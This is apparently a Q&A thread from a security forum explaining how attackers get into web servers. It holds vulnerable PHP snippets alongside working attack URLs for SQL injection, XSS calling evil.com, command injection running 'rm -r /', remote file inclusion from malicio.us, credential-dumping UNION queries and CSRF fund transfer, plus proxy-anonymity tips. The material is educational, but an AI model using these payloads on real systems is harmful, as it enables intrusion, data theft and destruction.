I am specifically talking about web servers, running Unix. I have always been curious of how hackers get the entry point. I mean I don't see how a hacker can hack into the webpage when the only entry method they have into the server is a URL. I must be missing something, because I see no way how the hacker can get access to the server just by changing the URL.

By entry point I mean the point of access. The way a hacker gets into the server.

Could I get an example of how a hacker would make an entry point into a webserver? Any C language is acceptable. I have absolutely no experience in hacking

A simple example would be appreciated.

  • I think you need to do some searching on this site for some of this basic info. A google search might also be helpful. Search for 'exploit' 'OWASP' 'port scanning'
    – schroeder
    Jan 31 '12 at 18:45
  • 6
    You guess the password.
    – jn1kk
    Jan 31 '12 at 19:13
  • 15
    I've seen many movies so I got this one, just use hack.exe and whatever you were thinking hack.exe will do it. The same hack.exe will work for multiple tasks (there aren't any input arguments either). Feb 1 '12 at 13:10
  • 17
    I saw this on CSI. You use Visual Basic to make a GUI User interface. Feb 1 '12 at 14:54
  • 4
    I can't resist to post this "tutorial" about hacking... youtube.com/watch?v=u8qgehH3kEQ
    – Alvin
    Feb 2 '12 at 19:49

Hacks that work just by changing the URL

  • One legit and one malicious example
  • Some examples require URL encoding to work (usually done automatically by browser)

SQL Injection


$username = $_POST['username'];
$pw = $_GET['password'];
mysql_query("SELECT * FROM userTable WHERE username = $username AND password = $pw");

exploit (logs in as administrator without knowing password):

example.com/?username=Administrator&password=password' or 1=1--

Cross Site Scripting (XSS)


$nickname= $_GET['nickname'];
echo "<div>Your nickname is $nickname</div>\n";

exploit (registrers visiting user as a zombie in BeEF):

example.com/?nickname=<script src="evil.com/beefmagic.js.php" />

Remote code execution

code (Tylerl's example):

<? include($_GET["module"].".php"); ?>

exploit (downloads and runs arbitrary code) :


Command injection


echo shell_exec('cat '.$_GET['filename']);

exploit (tries to delete all files from root directory):

example.com/?filename=readme.txt;rm -r /

Code injection


$myvar = "varname";
$x = $_GET['arg'];
eval("\$myvar = \$x;");

exploit (injects phpinfo() command which prints very usefull attack info on screen):

example.com/?arg=1; phpinfo() 

LDAP injection


$username = $_GET['username'];
$password = $_GET['password'];

exploit (logs in without knowing admin password):


Path traversal


include("./" . $_GET['page']);

exploit (fetches /etc/passwd):


Redirect/Forward attack


 $redirectUrl = $_GET['url'];
 header("Location: $redirectUrl");

exploit (Sends user from your page to evil page) :


Failure to Restrict URL Access


N/A. Lacking .htaccess ACL or similar access control. Allows user to guess or by other 
means discover the location of content that should only be accessible while logged in.



Cross-Site Request Forgery


N/A. Code lacks page to page secret to validate that request comes from current site.
Implement a secret that is transmitted and validated between pages. 


Legal: example.com/app/transferFunds?amount=1500&destinationAccount=4673243243
On evil page: <img src="http://example.com/app/transferFunds?amount=1500
destinationAccount=evilAccount#" width="0" height="0" />

Buffer overflow (technically by accessing an URL, but implemented with metasploit


N/A. Vulnerability in the webserver code itself. Standard buffer overflow

Exploit (Metasploit + meterpreter?):

  • 7
    Excellent answer, have you considered making this a wiki post so others can add extra detail etc :) Jan 31 '12 at 22:56
  • 9
    Sadly most schools don't include this in any programming classes. I had to tech myself most of this and often helped class mates securing their sides (and had to hack a teachers website to prove my point)
    – HTDutchy
    Feb 1 '12 at 9:47
  • 4
    @Pacerier most exploits are caused by someone screwing up somewhere. It only takes a single oversight to let an attacker into an otherwise secure site. Feb 1 '12 at 13:36
  • 7
    @Pacerier Validating the input requires that a programmer do so. It should be noted that "Input Validation" is the root cause of half of the OWASP Top 10
    – Scott Pack
    Feb 1 '12 at 14:40
  • 10
    @Pacerier It should be easy; but the fact that unvalidated user input still tops the list of successful exploit channels means that there are still huge numbers of people who call themselves web developers who can't get it right. Feb 1 '12 at 15:51

The (currently) most common way in is through holes in PHP applications. There are dozens of ways in which this could work, but here's a simple, easy one:

Imagine the unsuspecting site owner decides to take a shortcut in his code such that http://example.com/site.php?module=xyz actually first loads some template shell and then run "xyz.php" to fill in the content. So perhaps he writes something like this:

<h1>My Awesome CMS</h1>
<? include($_GET["module"].".php"); ?>
<p>See what I did there? Wow that was clever.</p>

The hacker then visits the site using the following URL:

Now, instead of loading his local script, PHP goes out and downloads http://malicio.us/evilprogram.php and executes it -- running whatever PHP code the attacker desires. Perhaps sending spam, perhaps installing a backdoor shell, perhaps searching the configuration files for passwords.

There are literally thousands of ways to hack a site, each as novel as the next. Almost universally, they involve a programmer who didn't think about all the possible inputs to their program and the unexpected effects they might have.

  • You beat me to it (particularly the "there are thousands of ways"), so +1 to you, but I'd like to add that there's another example here: greensql.com/articles/… Jan 31 '12 at 19:43
  • 1
    +1 for shedding light on why someone would use the insane include($_GET['anything'])
    – JYelton
    Feb 3 '12 at 15:59
  • 1
    @JYelton: I've seen this multiple times in code my clients have written. When someone starts a conversation with "So we developed our own CMS...", I cringe a little.
    – tylerl
    Feb 3 '12 at 20:06

There are 2 ways of looking at it, you could focus on the server itself, or focus on the web application that the server is running.

As a server, it can have open ports running services that you can connect to and gain access to the server. By using known exploits, you could gain root access. For example, some FTP servers for Unix have vulnerabilities that can be exploited by tools like Metasploit to gain a root shell.

As an application, there are far too many ways to exploit a poorly written or configured application. For instance, if you pass a SQL query as a GET, you could actually manipulate the URL itself to perform a SQL Injection attack and dump entire databases. For example (depending on the coding of the site): http://www.mydomain.com/products/products.asp?productid=123 UNION SELECT username, password FROM USERS

Again, you touch on a massive subject and I hope these help you focus your next steps.

  • I agree there are two access points; a weak application or vulnerabilities in the server. But for an up-to-date server (say running only apache2 to display static html pages and sshd from a stable ubuntu releases with all security pathces) with strong passphrases is very unlikely to be hacked into (other than say a ddos to overload the site; or someone logging in from a keylogged machine), especially if precautions are made. 0-day exploits, while they definitely exist (esp in bleeding edge software) are somewhat rare in the wild for mature software.
    – dr jimbob
    Feb 1 '12 at 16:49
  • The OP was looking for ways of getting server access. Targeting the server itself and the services it runs is a viable way to do that. I agree that a web server should be configured to limit this attack surface, but it is up to people to do it and people are prone to errors. For instance, I was able to gain a foothold in a brand new Pitney Bowes mail machine on our network because they had no process to update the OS services. It is a mature, non-bleeding edge software commercially available to everyone.
    – schroeder
    Feb 1 '12 at 17:07

The Short Answer

This might not be the right question.

A hacker...

...is a social engineer.

They are more interested in their interactions with people than their interactions with computers. A hacker would far rather have you hand him your password, than have to brute force it.

...is seeking knowledge...

...and knows that knowledge is power. A hacker is more interested in getting your credit card number than he is in actually using it.

...uses morality as an excuse...

...not a cause. This is why many hackers will take advantage of morally-oriented political events to go public. They know they can use morality to excuse their actions in the eyes of the public.

...doesn't get caught unless he wants to.

Most of the time. Wannabe hackers who just jump right in without any regard for stealth or anonymity are known as "script kiddies" or "skiddies" within the hacking community. There are far more skiddies than hackers, most likely, and they will likely be your biggest annoyance.

...doesn't need any special tools or backdoors.

The frontend that you've provided is likely sufficient.

The Long Answer

You can secure yourself against the exploits in Metasploit all you want. A hacker will just walk right on in through the front door--if not virtually, literally.

The Answer You Want

Seeing as how people don't like the answer that I gave, as adequate as it is, I'll give you something a bit more along the lines of what you want.

Hackers like to stay anonymous. The first step in any attack is stringing together a line of proxies of some sort, be they SOCKS proxies, zombies, or just simple bots forming a botnet. There are a few ways of going about this, but let's get some dead proxies for the sake of discussion. Head on over to pastebin.com and do a search for 8080. This is a common port for web proxies. Scroll down in the results until you find a list of IP addresses and click to view the result. You should have a long list of web proxies. I can guarantee that most, if not all, will be dead. Sorry, this is not a hacking tutorial.

The next step is to gather seemingly trivial information about your target. Using his proxies, a hacker would run portscans, then probe any services that he finds. Got a website? Let's explore it. Got a MySQL server? Let's see what version it is. Running SSH? Let's see if it accepts text passwords, or is limited to certificates.

Then the hacker sits down, looks at what he's gathered, and decides what the weakest point of the system is. Depending on the size of the system, he might go back and probe a bit more, if there is more to probe and he feels he hasn't acquired a good enough weakness. A weakness doesn't have to be a true security "hole": it just has to be the weakest link. Perhaps you have an FTP server that doesn't protect against hammering (repeated login attempts). Maybe you have a web server with a bunch of forms or potentially exploitable URLs. Those are worth investigating further.

If necessary, the attacker might write a script or program to carry out the final attack, though this isn't always the case. Most weaknesses can be exploited with existing tools, so this usually is unnecessary for the modern hacker. However, occasionally hackers discover new security holes in software, in which case they sometimes need to write special tools to exploit said software.

A good example of a blatantly obvious attack program is one that is used to cause trouble on servers for a game called Terraria. This wasn't its original purpose, but because it does expose various exploits in the server software, it does tend to be used for that by others. I wrote it in C#. The source code is available on GitHub. The exploits use bytecode manipulation to modify the existing client to send malicious data. The server does not expect this data, and reacts in ways in which it was not designed to function. Discovering exploits like this can be as simple as reverse engineering the target software--I say simple because this has become an increasingly easy task with modern reflective languages, such as C# and Java. Programs such as .NET Reflector (paid) and dotPeek (free, for now) make this possible with the click of a button. A sufficiently trained C# programmer can then observe the code, determine its functionality, and write a program to alter this functionality.

  • 2
    I don't think this is answering the question that was asked. Whether or not it's the 'right' question is a different matter, but if you are answering, I believe you should try to answer the question that was asked.
    – Yoav Aner
    Feb 4 '12 at 20:18
  • Well, I did answer the question, in the end. I just led up to it. I wanted to give some context to my answer.
    – Zenexer
    Feb 4 '12 at 22:56
  • You did answer, but not the question that was asked. From what I gather, the question was specifically about hacking into a server, and looking for specific examples (e.g. "I am specifically talking about web servers, running Unix").
    – Yoav Aner
    Feb 4 '12 at 23:46
  • @YoavAner Well, I wanted to give context so that I could explain why I wasn't providing an example. The reason I didn't provide a sample is that my answer doesn't really warrant one. When I picture a hacker, I see someone who just walks into a building, right past security, heads to the server room, and sits down at a console.
    – Zenexer
    Feb 5 '12 at 6:24
  • I added the answer that everyone wanted. Hopefully that will be adequate.
    – Zenexer
    Feb 5 '12 at 6:54

A friend of mine had a contract to work on a site. While he did he notice hackers got into the website and did stuff he didnt like. After looking at some log files he notice the 'hackers' found the site by googling a mysql error.

When you're able to inject sql you can do whatever you want such as creating yourself an account. If you can upload files (especially php) you have a possibility of being able to execute it. If you can execute it you can do more damage like read/write files on the server filesystem even if you dont have an account on the linux/windows server.

Another technique is breaking into the database, looking at the passwords (especially if they aren't hashed) than trying to establish a ssh or ftp connection to the same ip address of the site and trying the user/password combinations.

Also you dont need to break into the server to get hacked. Someone i met told me a story how outdated software was installed on his server. The attackers used it to upload and execute their own php file which injected one line of code (to add an iframe) into every index.php and index.html file. Essentially no one was able to visit the site. It either redirected or gave lots of popups.

  • Using old software that has known exploits is still "breaking into the system" and you describe is mild compared to what they could have done.
    – Ramhound
    Feb 3 '12 at 14:22

How many times have we read about logins with either no password or "Joes"? Doesn't require knowledge of Metasploit or anything really exotic to get in the front door. A bit like a running car sitting in a driveway on a cold morning "Please steal me".


Just a few more examples for you to consider.

Following on from tylerl's example:

   if ( isset( $_GET[ 'id' ] ) ) include( $_GET[ 'id' ] . ".php" );

Attack vector:


This is a local file include base64 attack due to lack of any secure coding, an attacker is able to read almost any file on the site or server that ends in [.php], in this case reading the file contents of the configure.php file, PHP returns a base64_encode of the entire file content which is easily decoded back to readable text.

However the malformed URL does not have to seek input security validation holes.

In many web commerce sites, the $PHP_SELF code misreports the filename where yoursite.com/admin/administrators.php, $PHP_SELF reported the filename as administrators.php, however if login.php was appended like admin/administrators.php/login.php, then $PHP_SELF misreport login.php as the filename instead of administrators.php.

So for example if the admin session validation question is asked in this awe inspiring example:

*if ( not a valid admin session ) and ( $PHP_SELF is not = to login.php ) then redirect to login.php*

The page is never going to redirect to the login.php because $PHP_SELF is misreporting the true filename, thus the attacker has access to the administrators.php file without the need for correct credentials.